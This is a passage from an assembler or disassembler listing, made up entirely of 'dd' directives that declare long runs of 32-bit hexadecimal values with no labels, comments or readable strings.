0D50D1CABh, 3C171480h, 82352862h, 8774B9h dd 0C34EBEBCh, 854059BAh, 5058DE71h, 27553AA3h, 85352D69h dd 0CA2C96Dh, 0BFC83DF1h, 945A1A1Dh, 0D5C3A640h, 944EFC3Ch dd 9C34E358h, 0B568B6B2h, 0FCC506F3h, 23722FB7h, 0A5DA6E70h dd 217E3695h, 0C616F1ADh, 701ABCABh, 0A144B8E4h, 0CED0C8B5h dd 6DD4C681h, 5886DC5Fh, 0A8AA3EB9h, 60E29CEDh, 9DC387DBh dd 0AEDB1F24h, 91EE3207h, 0E57ED152h, 96D5E4FDh, 4ABEC9ACh dd 9E5A299Dh, 9880A062h, 77F0FFB4h, 0C0925566h, 0DC4AAA68h dd 36984E75h, 64383CF6h, 0B6FB050Eh, 0D57558C3h, 0C78B25B9h dd 80FC5F75h, 0F615018Dh, 22B9370Fh, 3DB2F108h, 0E63CE334h dd 0E56D1133h, 53AAAEB9h, 4222CBCFh, 0C5154943h, 2FB35537h dd 34841086h, 0A62602C4h, 0A4291D1Bh, 0B0BAD77Bh, 0E6FC69A9h dd 11011D7Dh, 5FBCC16Dh, 4033001Fh, 0B6E9C594h, 6D20A1DEh dd 4222EF61h, 60BCD4ADh, 3E13698Fh, 473BE8F4h, 47A185A7h dd 75FA6DD6h, 5A8DB919h, 0AAFE21B3h, 0DA3FE96Ch, 0E2028446h dd 26343326h, 81739CFBh, 0DE264D4Ch, 3C84A395h, 52CFAEB9h dd 781F8134h, 74ADCF86h, 420E8CE2h, 0EE368207h, 0BCA83D61h dd 0BD3A7EA7h, 5B2AEAB4h, 2E600206h, 0CF3B605Eh, 0CA01FF27h dd 0AC13CC1Ah, 0CD5FAE4Dh, 0ECEDA0FCh, 0F35758C3h, 0B19A6798h dd 62225726h, 2CB08D22h, 3F03FE78h, 460BA372h, 0FE10AD38h dd 70F515A5h, 8FFBBDA7h, 9B141B61h, 7191DE65h, 0D6441DFEh dd 0D77BEAACh, 2EB5889h, 158FED49h, 0B001B2A8h, 3AF63315h dd 36DBB91Ch, 0E12426CCh, 0DBE5DC5Ch, 6A6AED1Eh, 3207A9D5h dd 53367A52h, 4D66A457h, 2D26FFB1h, 67DFD2A9h, 5F4D797Dh dd 77E12761h, 2B64130Bh, 0BCECADA9h, 863E260Fh, 733BD912h dd 67F3248Fh, 6B0CB96Dh, 71165BCBh, 0E79F3F75h, 0BC64F6D6h dd 365EA92Ch, 0A1AE6D61h, 8633DE26h, 0BC65900Ch, 0B4CD5C4Ch dd 0BF4CCD1Ch, 0C0EFDCF5h, 0BD7EE21Dh, 79797B09h, 0E184CE50h dd 305ED93Dh, 66F5A71Ch, 0B030B181h, 26504227h, 1DA6DE0Eh dd 0F91FAE38h, 47706001h, 0A2390E9Dh, 92327FA6h, 7424485Eh dd 1426C46Bh, 6A3F6CBAh, 0D8744883h, 16EB825h, 0BBF0826Fh dd 6E260B21h, 700600BEh, 1CEAE9FDh, 7327A925h, 0AAEB3D34h dd 745D1111h, 5BFD3598h, 0A36161B6h, 9D2F5309h, 0BB39784Ch dd 76B293F6h, 5D2E205Ch, 0F7E9399Ah, 0E5D8EA6Bh, 0B7A00921h dd 7B525A33h, 37BA3088h, 91C1BB25h, 222E8C93h, 0BD31C2B0h dd 0BCDFCD3Bh, 0DD55382Eh, 4B77BDA7h, 0CD08B04Eh, 5CF6CBE1h dd 2013DB5h, 42F5FD9Dh, 6038AAA6h, 0ADD6C973h, 0EDC648BAh dd 491A9466h, 988ED7A6h, 0E52E6D33h, 1E3434CDh, 0EE3CEC6h dd 0A3180973h, 0EC11544Dh, 2A535E59h, 203576A3h, 0B5EF0AFAh dd 6092AA74h, 5682CA53h, 0DA8D6995h, 10CF5E92h, 0AF5A28F5h dd 1010F174h, 0DAFD70Dh, 2B468A38h, 19E26D2Dh, 16732CEDh dd 71BD3001h, 0B225DAD4h, 5C3548CDh, 7CB97F20h, 228DE62h dd 0F287C55h, 0FFDE020Fh, 962ADC7Dh, 0A0BD327Eh, 13DA0281h dd 9D2531B9h, 0CCC213B5h, 3A67C7Ch, 5FCE4DC8h, 2AAE2345h dd 79FEBB56h, 1EB19B79h, 0FE35F9DEh, 639F66E5h, 262AD0B4h dd 18BFC65Ah, 4F8381BFh, 1B8BE7CEh, 5D4665E1h, 0BC018519h dd 4A51A758h, 4F687EB5h, 0DB60410Fh, 0F88938A7h, 55ECFC43h dd 62871090h, 8B752947h, 0F3CEE200h, 821435F6h, 17F97F59h dd 0C1C8279Ah, 0FAB30F27h, 15717D24h, 0AB8354B0h, 2C7445EDh dd 1973EC18h, 0A838E1D0h, 0AAE96952h, 90102B4Dh, 63C461A7h dd 7BD6305Fh, 0F873DC1Bh, 1053A8A9h, 21285EE1h, 8BA0B5A7h dd 0AF2BF1E8h, 0AA68A5E5h, 7A339777h, 7D7A4EF7h, 0FC2FA406h dd 0BD0CFC3Eh, 313A042Bh, 0C0FFD12h, 0A232B534h, 0E2C5EEDEh dd 994C6CF9h, 3C99CBE1h, 525A6F25h, 4EA0590h, 9640BCB4h dd 5E70651Bh, 5077EA2Ch, 30049F26h, 1074B1E9h, 0CCA71E6Bh dd 65966E7Dh, 0E6A3B5E9h, 328533A9h, 26C6A087h, 4ABA42Bh dd 0FF797535h, 0BEB693AEh, 0C3237587h, 0B34B0471h, 12C105C9h dd 0C8A0E85h, 0C29A0F9Eh, 37C3825Dh, 46F048BDh, 0AC6400C8h dd 0D79CA69Dh, 99A3E7F5h, 56F0E0B8h, 2DF4729Fh, 0AD71946Ch dd 0C5EA5360h, 0EF459EB3h, 1ECA6164h, 7F0E6AAh, 229ABFABh dd 10537964h, 0E6FBE2E9h, 18404D0Dh, 16134913h, 0D31B079Eh dd 2EBA72A1h, 0EEB25650h dd 33594F29h, 8F7C379h, 0B34FC4BAh, 35AFE0Dh, 66FCF3BDh dd 45177DC7h, 526858E3h, 0F3F1DC75h, 0CD931B54h, 0E819F736h dd 822BC0B5h, 0C1C9795Ah, 0EEAC247Ah, 1A72E5E2h, 538DFEC0h dd 62E0BD3Dh, 0B633C2Ah, 7D201F72h, 0BC52A4Ah, 1BD08269h dd 0EC1D3D07h, 86FDB720h, 93963142h, 0BED2ECC0h, 5F7688BEh dd 3943D6B0h, 0ED04E3E0h, 14953ECDh, 1F2A6639h, 0A914AB5h dd 5E1627F9h, 0DFF0EF8Fh, 34203BFCh, 0B5C6095h, 6E96652Dh dd 0E14F2F77h, 75856D10h, 41DB4A2Eh, 227509Fh, 96B08EE6h dd 0E1C3071h, 10C460BEh, 0A61C7139h, 0B5B26651h, 5854B3B3h dd 0ACA0034Ch, 66889C21h, 6790DDECh, 16F32540h, 7156E8FAh dd 174D7BC5h, 0EFE4721Ch, 0CF4569CDh, 0B4310FDBh, 7ED84EB3h dd 169FDDD6h, 0C5B25749h, 30CE2AB1h, 7E85EAEFh, 0A025D75h dd 9207C37Eh, 0E2CAA835h, 0FCC48745h, 6DEC56B2h, 592B0BB8h dd 42501471h, 42FBC63Ah, 711DC9A7h, 5D3655CCh, 372EA2A2h dd 0A5CA3E44h, 0B5F3E4D4h, 1E2A16B4h, 6F9AD678h, 90FEA9EBh dd 26295D65h, 3C646963h, 7B855D80h, 9EF19110h, 1184E0E0h dd 0AAFE4910h, 0CC90CDDCh, 0FA3A92A1h, 0FC33310Ch, 80FA4D41h dd 83234EB4h, 107A4B46h, 0E27E6A95h, 4574F4F9h, 0F2086FF1h dd 0F31F2975h, 0F4EBC1A3h, 0EC8249CEh, 5C2447F3h, 0AC7E69ADh dd 0BB8500B1h, 9241B08Dh, 9531533Ah, 0C2D711A9h, 915A451Eh dd 0E8D9DE06h, 11DE7553h, 0E8A477AAh, 0B672F0C4h, 19F3CB58h dd 79394E41h, 7F734E0Eh, 0F4350A99h, 7276AD24h, 1BFC6859h dd 4CE21821h, 72652389h, 4E9CF34Fh, 2FDEC13Dh, 0AC73B70Eh dd 8E53D28Fh, 0C25B3505h, 78E2B07Fh, 58927043h, 59BA5D62h dd 96951116h, 0EA846F6Ah, 937A6935h, 0D6238EB5h, 0DE185D61h dd 48238469h, 0B32372Fh, 7962504Fh, 0F34A1BBAh, 0F7549235h dd 6AA32C72h, 0F272522Fh, 0A832753Ah, 0F026A9A8h, 0F550BD07h dd 6E0CC3Dh, 0DF34DDA7h, 0B3A1BBA4h, 7475AE9Dh, 0E7B08B03h dd 0DD70CC58h, 96E12311h, 7C83C57Bh, 0C576DC18h, 6C13D63h dd 5ED6A5A9h, 67FDB2A7h, 0AC46E327h, 3DC13C3Fh, 320D171Ah dd 0D8B20A60h, 9E3A262Dh, 62228924h, 0A47BD852h, 0D5E8E1BFh dd 17839107h, 1773A8D9h, 0AAF6E4DFh, 0B09EFA25h, 7CEF4F21h dd 0A2B93B3Dh, 5DB53759h, 0ABB136B9h, 4B2CB9E1h, 3A3908C9h dd 0FF251B60h, 0CB5A4EC1h, 0EEB475DAh, 0A17692B7h, 0FA8917EDh dd 0ACE1AB45h, 337EB745h, 0B505C3E3h, 0EAD97578h, 0C66D354Eh dd 1C300CABh, 526C62A8h, 19490FD3h, 0B62E2A17h, 275EE2AFh dd 97776D73h, 1577B2E7h, 0E773495Bh, 0D4ECD338h, 3CD84DB4h dd 2D30F8E2h, 3AF26883h, 1AD2E83Ah, 0C997E456h, 547ECBC8h dd 0A23629C3h, 8809BB1Dh, 0BC925F1Fh, 0A9F45A96h, 908DBC99h dd 831C061Bh, 767A68FBh, 8715BC40h, 8EDCC203h, 9E17D140h dd 0A52A43E4h, 465664F5h, 0B4103B64h, 0AA0E4BD9h, 0B9F98DECh dd 316649F2h, 0F7366F5Dh, 0EE3216A1h, 95FA059Dh, 0AD864169h dd 8B4FDEF7h, 0CAAFED3Ah, 703810C8h, 476318CFh, 0CD9247C3h dd 855A42B9h, 1E34F212h, 243077CDh, 2D22BC21h, 0F25FEC3Dh dd 3CD66DA8h, 775914E0h, 77A5E355h, 3C23A70h, 509BF14Ah dd 183587A3h, 0AC0E1328h, 38EECAF9h, 24157EE9h, 464AE13Ch dd 0DEC75023h, 992422B9h, 6022DD5Fh, 43EBC61Ah, 0CE5ED8A4h dd 81748465h, 0B0AC2D93h, 5C379D3Dh, 0A51024E5h, 0A29FF8C2h dd 7C6320C9h, 43E530A6h, 34D27C86h, 0AA9A2C9Dh, 61EB717Ch dd 0C9DC0CFAh, 0DA93CCB5h, 38CD30AAh, 0CF9B4BDh, 722391AFh dd 0AC496163h, 26813971h, 0BE476143h, 0BB85EBD5h, 0ACA029AAh dd 1F32C6C0h, 81A7C9E8h, 0BFEB82B6h, 84CE156Ch, 0AAC4B64Fh dd 11326965h, 406310B4h, 0EC05EF49h, 0D01D33A7h, 0BE4ABE8h dd 39120101h, 81F2D14h, 5CD2B601h, 0BB0CE8E3h, 0E9E330D0h dd 98B1071Eh, 5CD06534h, 66A28617h, 0D890CD72h, 0BB71B1EFh dd 0A2E7A1A0h, 4075323Dh, 104B0A9Ch, 78810976h, 0D56C9BD8h dd 750C806Fh, 245C8C8Fh, 0C468C5BDh, 0F72CC08Ah, 0E3E44BDh dd 0B024958h, 7983D291h, 7F71259Fh, 461323B0h, 7F20E24Fh dd 54524111h, 0DE2CFE9Ah, 0FCE8B6B3h, 0B0F772DBh, 0E684273Ah dd 0FE2AB260h, 5C55FE95h, 0D71AE715h, 0EE3CFB9Ah, 150A5635h dd 6A5A829Bh, 2367B664h, 0B8B3689Dh, 431C1A20h, 0AD877370h dd 0D0D29A4Eh, 0DFC0F6C5h, 9D4E2195h, 0BA9CC59Ah, 0AC72A144h dd 853251CAh, 1201B769h, 0BFFDDA44h, 938BF3EEh, 8252CE9Ch dd 52E44961h, 1ECDC990h, 90B85D62h, 0A7653882h, 0DE4D2DC9h dd 0E74B1E71h, 3A225EBCh, 3EE048D5h, 0B03C8C77h, 62B78F54h dd 6B0D011Bh, 53C8EDC4h, 0F390DE03h, 0B8C535F9h, 5170AD50h dd 5D9FBD8Dh, 34D010Ch, 0FE11E3F1h, 51D819B4h, 139B677Bh dd 5F1CBFE1h, 5DBA343Dh, 61B17519h, 5F9ED905h, 0E6BE477Eh dd 0BDAE4F2Ch, 141703E9h, 0E78CBE69h, 0F122977Eh, 0E3B07162h dd 0D5F1C1E5h, 0EB68247Ah, 0BF209C3Bh, 0DE2372F9h, 7BFEEDA8h dd 0EA335AE5h, 94E28C8h, 0D6C0134Ch, 0DEFCEFD6h, 0D61937C3h dd 0FD70CD62h, 987E9089h, 3700A149h, 0CC4966B5h, 0A42BD7BCh dd 56139327h, 58BD0D62h, 0AFFA26F3h, 0E4AC3578h, 468CF916h dd 583320ACh, 0D528A4B2h, 576636F8h, 9E740AE5h, 9D089FB6h dd 88B6E3AEh, 59882894h, 9CBB2BA1h, 0D1A7813Dh, 584229F2h dd 80C3773Ah, 0DBC5E25Ah, 0D45431ACh, 92384088h, 72A4C5B9h dd 615A928h, 0BF062409h, 6D02A8CAh, 0D7E2566h, 651C59Dh dd 0BBA49521h, 1B3AD5A3h, 679A6D51h, 0BF93D79Eh, 0B2323A60h dd 7D0FA2B8h, 0E28E3568h, 5E946A8Fh, 96ECF218h, 0AD497263h dd 6527AB59h, 0C117755Ch, 0EFB67F53h, 12899835h, 4E069D0h dd 7CCA67BCh, 0F008BF40h, 9ADAC872h, 0F98BC814h, 9FA26721h dd 4677B3E8h, 0E8B0A29h, 3AB5A3AAh, 213592C4h, 1D37A0D3h dd 6728B568h, 72CE373Ch, 8B60E886h, 4A32BAB3h, 0AE2B401Ch dd 0FD5054B3h, 0F4ABB734h, 8B573D5Ch, 9FA3838Ah, 0D7A529C4h dd 62212917h, 0FF0305A4h, 0BA03A01Ah, 0B0F9329Ah, 67310315h dd 3ED3585Ch, 0C25D0E51h, 2E3D6780h, 70100DD9h, 8EC39DB9h dd 1DFC31D5h, 0B64C3FFAh, 264649D3h, 0D432A3F9h, 25913724h dd 76F41820h, 5A8F3ED3h, 0D28AEF77h, 0B23C99BDh, 4E86A43Ch dd 0EEF349E5h, 0DE30875Dh, 0E0B56A74h, 0AA91635Dh, 0B38863FDh dd 0EB7CAEF9h, 17F3F141h, 436C35E5h, 5CEE7FC6h, 72E68Dh dd 167B6F53h, 8000B79Ch, 4A9159D9h, 0EE8239F3h, 0A87CD928h dd 8CD32339h, 926CBC35h, 0AC9FA13Ah, 6D8A159Ah, 0D6DE60EBh dd 303FB51Dh, 4755ACD8h, 7C4A6F3Bh, 913F34FCh, 7D53386Ah dd 4684EC2Eh, 9F7ECDC0h, 1220DC35h, 3CAAF241h, 9D338B26h dd 7FAAC962h, 0D35003C8h, 0F6617F91h, 3CA8B55Eh, 0C0D2BDB3h dd 0FA7B82C9h, 0C86C3A3Ah, 5BE3026Eh, 82B92633h, 60AA3D43h dd 858E9EB3h, 92EE990Eh, 88A9BC93h, 2A431C45h, 0AA1E73E5h dd 0E6FD31F0h, 0D1C06FB3h, 0BE6CE8A7h, 85010C6Fh, 0A2A44144h dd 0EE1ECB59h, 984306BAh, 0A4DBF918h, 203A96CAh, 4EEFEA05h dd 69EEC87Eh, 0A1DE8ABAh, 0DCA4FE2Dh, 0CF5D95h, 8196AD4Bh dd 3B6ACEB1h, 4703F0Ch, 42C134CFh, 47E66F9Ch, 475F5578h dd 0ACB56340h, 7EC6D037h, 22DAD1B7h, 0B659D23Ah, 0E1EE2890h dd 0B7253C44h, 7BA3E13Dh dd 6CD9953h, 65A13D6h, 0E6C7FEEEh, 3049643Ah, 3B08FC7Ah dd 0FADFBE8Fh, 99ACBDEDh, 3C10D851h, 621239B1h, 0D7FD187Fh dd 0B4A3B252h, 0DE1505BCh, 0BF2127B5h, 0CAC7B558h, 0CB03FF6Eh dd 0D9EA8CF6h, 7F9133D0h, 24DD950Dh, 591E3520h, 89DD7B33h dd 7D80B741h, 0C7870C34h, 0A05833ADh, 0E00A0F53h, 6ACE1516h dd 7276F917h, 7F81C5E0h, 0E623D436h, 3B3F2E0h, 0EC2D1FE5h dd 4D73E321h, 0E896EAF5h, 26C5D91Fh, 0C62C7FC9h, 8ACC214h dd 0E005FCBDh, 0FF2C95A0h, 3DDF2F1Eh, 64733A13h, 0A07D27A2h dd 9B2C1411h, 0CCCCFF9Ch, 40CAF4B2h, 13013725h, 14196EB4h dd 151675D8h, 0FACAAD29h, 0A106A174h, 5D9329A7h, 955D023Bh dd 92B65BF8h, 3735DB5h, 0A950BF69h, 0F45D09CDh, 8FEBE2F7h dd 24BCA927h, 891B169Dh, 62C8295Ah, 0F7C13DB8h, 9E05D357h dd 1EBA8243h, 91252C5Bh, 292F3AAh, 7E9E3725h, 0F0940732h dd 0BF4CEA49h, 0A296C851h, 3EC13695h, 96FFDDC9h, 2BF148FBh dd 63F279FDh, 0A04EAA1Fh, 5CAEDF3Fh, 959E36D9h, 0DE2217B5h dd 3FBA5F1Ch, 6920C89Dh, 0FC7CE5C1h, 118D1433h, 7585570Dh dd 44FAC29Ch, 0A2A59194h, 4EDDF4BEh, 3B18AB3Fh, 4937E659h dd 2FDEA0EFh, 5CDF4E0Fh, 7C22A973h, 0B232CFD0h, 0E996F79Ah dd 0B5A91EBh, 0D85BF00h, 0A8AAC393h, 0B6AD2495h, 0E8FEF640h dd 3B41311Dh, 48DCE921h, 604D7E1h, 0AA3CEF04h, 9E8BC527h dd 748B82CEh, 848D0DD6h, 0BB8E69DDh, 5486485Fh, 85B000ADh dd 61F53EF4h, 30329956h, 0EF48AE9h, 0E6619723h, 0D5E85A76h dd 7185132Bh, 481032Ch, 64038FD6h, 0B4180F96h, 6443EF6Bh dd 88150CABh, 593F755Dh, 85276922h, 0D575FE0Dh, 253E727Eh dd 79F7C876h, 7E221877h, 1033B0B1h, 6D00034Eh, 2FE2DD5Eh dd 0E85D6FBDh, 0D977CBA1h, 0A19C605Ah, 34C760B5h, 0AD691A42h dd 1F8CDD31h, 976F9A00h, 0AAEFABEAh, 0E7F221BDh, 37025D05h dd 6AF56D95h, 0E6F7AF3Bh, 0C1ECC74Fh, 1866F944h, 3DF31030h dd 89533B80h, 0B20A9E8Dh, 0ACB9CC46h, 9E2BCB23h, 0B9442DF2h dd 80A7A8FBh, 0BBBAF402h, 73155AB3h, 4F0C47h, 7D43A556h dd 0DC122A4h, 5F3AAFB0h, 1E3DED4Fh, 4FB9104Eh, 0A19680B8h dd 22F3BD44h, 36E0F9CDh, 0BA53917h, 11A1003Fh, 7CBD893Dh dd 0CA2AA8D9h, 0CE23AF3Ah, 0D58AAD36h, 0D78901A4h, 9F6266B9h dd 33813121h, 0F77AA2A0h, 0A08A7555h, 85753121h, 586EA0B9h dd 236D36B8h, 0F63D3263h, 0FA0238BAh, 0FE3D0665h, 1B18B160h dd 1E9953A1h, 0A58A554Dh, 0E91ED7FCh, 0C486EB38h, 314ACF8h dd 0A1B94D0Eh, 6DB308EAh, 0D2A31DAAh, 0D25DB305h, 0C33D4940h dd 0FD30A674h, 0A3ADD8EFh, 41F571A4h, 0FD490EA1h, 770BAFBDh dd 243BD5F6h, 4FC10D3Ch, 0E0C1E07Ah, 0A8A77A1h, 0D8C7B129h dd 7685A533h, 20D28EACh, 0FF78C27Ah, 0E91BBC14h, 0DFB0CAAEh dd 0D8FB0B8Bh, 78FC4FBAh, 1FBEAB45h, 0D7021660h, 21A16B0h dd 1017110Ch, 834EC7E4h, 4C04C24Eh, 0B9DF38BAh, 455AF3BAh dd 39D6ED54h, 8EF4CA49h, 0B75A69D6h, 49DDABCh, 2E2CAF5Dh dd 875D38ACh, 5B84EB06h, 5B3F6F55h, 0DECEDB5h, 3728CD81h dd 2F372F79h, 0C93F243Bh, 5DEF5355h, 0CAC17Ah, 2E28B9C2h dd 0A7C241B1h, 0C836EDC9h, 4CAB809Dh, 10493CCFh, 0F35BB53h dd 6D44A821h, 5AA50122h, 9AB9AB24h, 0FA822978h, 0A67703B5h dd 475D4A99h, 3B81FABDh, 0A23D3BC5h, 85A932D0h, 22282BC1h dd 0FDE59C48h, 0C220F20Fh, 775D10EFh, 254AAA3Ch, 2B5D6047h dd 0AB7DF6B5h, 0C6ED52A2h, 0C6A16F51h, 0CEA50960h, 0A2C62A7Dh dd 0D0C23641h, 5CA33D1Bh, 0ECECCB7h, 2D95043Bh, 3A109BE0h dd 57BE16DBh, 0EEDCE9F5h, 0EFFF42C5h, 3E7F6E28h, 3B1E298Fh dd 0D6BFE07Ch, 774336CCh, 0D808F3E5h, 85B1A0B3h, 0C415ECA0h dd 0FB921F5h, 637F4958h, 654CCC56h, 3EA38961h, 0C4765DF4h dd 9C309C08h, 0F559A2D4h, 82353635h, 3315B041h, 3CF78294h dd 25AD2CA9h, 1D99355Ch, 7380CB1Eh, 0D9F3A3E7h, 3880908Dh dd 248D2E7Dh, 0C05141A5h, 329FBDE7h, 6C3BE7C1h, 0BAC6807Ah dd 0ADEE751Dh, 5B5D09A3h, 0EBBFCF7Ah, 6CCD1149h, 95E9771Dh dd 50440AA0h, 0C90750CCh, 0BC60A03Ch, 2635C77Dh, 5F2808C6h dd 0E30C8C7h, 0AAAA4090h, 97036D49h, 338ACE05h, 0EFAA0EEEh dd 0A3F20874h, 1984FE0Fh, 0D917B02Dh, 0AB7FBEDh, 757E8467h dd 2D3B225h, 0A9CB10CEh, 91417625h, 0AAFA2724h, 0F9C6E9E4h dd 0EC16E39Ah, 90DBF3BBh, 92F11658h, 62098731h, 77E031D7h dd 0D2DD527h, 2BA994Fh, 270562C6h, 53F8413Fh, 3E91F4ABh dd 0BF77235Ch, 0C977A290h, 0BF4CFB63h, 0D8C5320Fh, 66326586h dd 52EC90C4h, 9F7D199Fh, 270F2F39h, 6EF5397Fh, 640AC951h dd 0A9D9FA7h, 0F2BD2315h, 92094005h, 0C22E99EFh, 6CC21563h dd 61198BFFh, 888CB2E6h, 6E4B6388h, 8A175A19h, 0D6627DA9h dd 0D9F7C7ADh, 0EEAA9E7Fh, 565E0764h, 0A06D41D8h, 0AC30A264h dd 5D5F67D5h, 45392109h, 18671A86h, 0CC51B182h, 6A3D354Ch dd 9FA358B4h, 1F5529ADh, 8C055F63h, 3DE2C930h, 0B800FE41h dd 780F0966h, 9E02145Dh, 0EAC9377h, 0EFC19490h, 0FC1BB6CCh dd 0ACAD3C36h, 8D9C2600h, 1D8AF9FBh, 6240C47Ch, 0BCBE2DBDh dd 16A80168h, 662F1893h, 2D383141h, 501FD374h, 0AD83B91Dh dd 82413D75h, 510C155Bh, 45BEC96Eh, 0AFBA008Fh, 0DFEC620Ch dd 0AA28E73Dh, 0F376837Eh, 0ACCE115Fh, 3CCA6FE8h, 0F7EE00B7h dd 74B6A652h, 3996E6BCh, 0EA7B057Bh, 0FEFFAF10h, 2C19EB44h dd 0FFBA6FA0h, 53FC206Eh, 0E7BB5170h, 448A74A9h, 0F3B47E9h dd 0E3EF347h, 359119Dh, 0DE497391h, 5F464DF2h, 1A131FCAh dd 1C6BF328h, 4EDB3E22h, 785BEBB5h, 963011AEh, 0CE41C611h dd 0A2FBCC4Dh, 565DB818h, 6CC6073Bh, 7C06ECD5h, 8458386Fh dd 56316F5Ch, 0B0FD63C5h, 7128D2BBh, 7CEC4C2Fh, 90100813h dd 3265B433h, 0FFBA5BDFh, 0BC7EF61Dh, 0A2E79E34h, 0F0A330Ch dd 439D5995h, 8F1E3A0Fh, 693D1A33h, 5064637Ah, 0BB05B12Ah dd 98722BA9h, 424D1A40h, 2A84F297h, 0D120A264h, 805D5577h dd 0E0775E6h, 0C49C67Ah, 55E8F6E7h, 7BA4549Fh, 4FAD7177h dd 1BBE6667h, 393A6985h, 0E802691h, 0E9AEFE43h, 0AB3F52C8h dd 0A5F3B80Eh, 57F37A97h, 94404A32h, 4B8AABC9h, 837D30D1h dd 0BF6C5B2Fh, 6636D474h, 0F8FF2763h, 0E00EA85Ah, 6E3A705Dh dd 5A00ECA7h, 746AAAF5h, 0E9A25A22h, 0F887F310h, 3CBAC0BEh dd 31230161h, 17432409h, 712820ADh, 0CA093A7Ch, 4AAA8407h dd 4EE9628Dh, 8823D3DEh, 5A119CB3h, 6D716095h, 7713A42h dd 4581370Dh, 0CD583365h, 7E9CDFCDh, 4D23F962h, 22E5EE71h dd 0D5EBB273h, 0F2B2615Ch, 0F1D9B11Eh, 99B94893h, 717A3006h dd 85CD1D7Ch, 34EA7EB4h, 0EF7DDE44h, 71BA51DEh, 0C2E8B46Dh dd 7C626F8Ah, 44DBB575h, 370EE41Fh, 0B2AAB38Eh, 425D2B05h dd 0BCE5F041h, 33A1DCDCh, 0DFF90D6Dh, 0A3E9E017h, 0DE8036E3h dd 29D912C9h, 3EB75A7Eh, 0F66B0BDCh, 163B22B3h, 0BEBF2DE8h dd 0B0867A52h, 92FE2662h, 0DABBB93Ch, 92CCEA8Ah, 685BCBCh dd 0F1E499Dh, 3D3264BBh, 0C38B49B3h, 7172AD2Fh, 43ED7EA1h dd 4AAE5CABh, 0ECDBD333h, 0BFF23268h, 286E7D3Dh, 5CC6DD9Fh dd 0E7C80301h, 0E8E04D69h, 3EA5506h, 0B9F3F7F5h, 0ECE993C5h dd 8FF70492h, 14860B71h dd 38FE8B76h, 2A31F0E0h, 0A7BEA8B4h, 0F0093DC4h, 79CC40F0h dd 96362EBBh, 0B32BE9ACh, 9CF7C564h, 9B0A0CCEh, 0E7CCF883h dd 91A31772h, 11FC5FCBh, 3F14806h, 6D1C0397h, 26E1333h dd 27CE8ED1h, 5EFEFDF9h, 0B0637FC2h, 76A66B9Ah, 0BF46AA26h dd 0D4222DEFh, 0F017CA62h, 84B8CE26h, 943454D6h, 46222D81h dd 739037C2h, 0ACEF3D49h, 6F664CC8h, 0FF80E2FDh, 0BA15F854h dd 0A97AFAA9h, 7532E539h, 0AF28A22h, 1449E30Ch, 0C7AC00A8h dd 9109B7B2h, 191731FAh, 4201007Eh, 2993B5Fh, 661363B1h dd 0BF5A30CCh, 8622FC42h, 0D78D059Eh, 725B5614h, 0AC6231Bh dd 0B3A0E0C2h, 0AFA72334h, 8330A457h, 51BE50EAh, 160A0E99h dd 0BBA0B8FEh, 0C8EE63E6h, 5432D11Ch, 9D156E6Ah, 6C9BDFAh dd 72A95C73h, 0B5EE0BC8h, 0F34D52DDh, 0EB8416CDh, 0AE6C6A7Ah dd 6AFA0E7Dh, 0AE2AAC4Eh, 0CF933D0Fh, 0D5E7A93Ah, 7098377Dh dd 8A9B20CCh, 4AEDEC47h, 8EEE3049h, 5543E1D2h, 0C6B936E2h dd 96D9ACE3h, 35A22BBDh, 207B555Ch, 25C3B21Fh, 0ECE4A8B4h dd 1B20BDEBh, 23D329Dh, 6458725Fh, 2A2DBD49h, 5FA062BDh dd 1999B442h, 7E92EEBDh, 699910A1h, 4AF9AACBh, 4092F06Bh dd 0A77E5967h, 6780276Ah, 4FFF45BEh, 7B1C6242h, 5E5A89E5h dd 0B15D6477h, 0EB9664B8h, 5B648EC0h, 92F03173h, 24294456h dd 0AFEB5E91h, 9D60E04Dh, 2EA6C7B3h, 7D3E5F8Eh, 5AC6F8B2h dd 0A4A2707h, 37B8AC0h, 5633CE2Eh, 77FAA4A8h, 76BF8022h dd 48A15C0Ch, 5CC95BEh, 19EC0EE3h, 5600F9F9h, 8A360C77h dd 9B93FFF5h, 1062E6B5h, 421DCEBEh, 60A0C1C1h, 23F39575h dd 42920D62h, 45F0013Eh, 6B6A71D3h, 12B882ADh, 0D162F6E9h dd 715D3F5Eh, 201EA90Eh, 9F55F3E6h, 0BBA1791Ah, 0C43A5A69h dd 9420FF62h, 56BBE7EAh, 6106C79Ah, 58F6E8CBh, 3D8B00F2h dd 0E2887F26h, 0E2B8BB6Dh, 340CDD2Ah, 2F1EAD67h, 0D23D062Ch dd 17AE1A15h, 0A2FB71ADh, 8E388507h, 2FFD75EEh, 850328ACh dd 2C291CDh, 3044B0D9h, 6D1BAC40h, 85FF1FB3h, 0BD56BF88h dd 6F222765h, 0A394AC57h, 0C8A95F7Ah, 6F768E4h, 4685727Fh dd 82094DDFh, 0D1D56C71h, 0A347F63Eh, 0A33FBE3Eh, 0CD55E191h dd 1330A36Ch, 6F9332C2h, 77E0FA11h, 4FCDC399h, 486EA824h dd 1E12DEEBh, 49C15CFEh, 0C3E02503h, 0B105A8B4h, 183D07E9h dd 23B7942Fh, 0D6CFEAFEh, 8232EAC8h, 0C48B8004h, 4EDCC36Bh dd 7BDEC64Bh, 0D09EFF65h, 0D3E865A6h, 4F24442Bh, 0AFCE0340h dd 4A51D1B9h, 0BC0FC03h, 0BBF22D57h, 5F1E20B0h, 30250FCDh dd 0FAFF2A4Dh, 0B3E7F312h, 94B1727Ah, 0C1C2E1B1h, 6F7BAD82h dd 3197BE7h, 0FCAC4551h, 4E2B246Dh, 47520387h, 1F48516Dh dd 404E4D5Dh, 9B1D992Dh, 7A73057Ah, 0D5ECC252h, 0C3D7124h dd 82F02D42h, 0BC95F1E8h, 1A534D4Fh, 2016E544h, 8DF3C33Ch dd 233D3D62h, 2BAA56C0h, 6E2EA09Dh, 0E6BB23F6h, 47FB3011h dd 9D86D455h, 0EF9C33EEh, 39AE5A36h, 771829C2h, 95C27B85h dd 0DDB80312h, 0EE7DD95Ah, 903326C7h, 0B1514471h, 0B07D5A81h dd 7E48C2Bh, 0A2C61E2Ah, 9FCED0D7h, 1262426Ah, 0E1F5AA66h dd 3798F320h, 0E8F29ACDh, 1DA415EBh, 9B86A44Fh, 4AA62D97h dd 0FE3FF7DEh, 0BBBA8F85h, 0D0F1C6DDh, 0AB81F91Fh, 2DD8133Eh dd 0E360C72h, 5F6E807Ch, 0F2071A6h, 1C2D26CFh, 4F073097h dd 6897D243h, 5C198202h, 33BB44BBh, 42E24886h, 96B3D35Bh dd 9265026Bh, 0DB2AF794h, 59036EA6h, 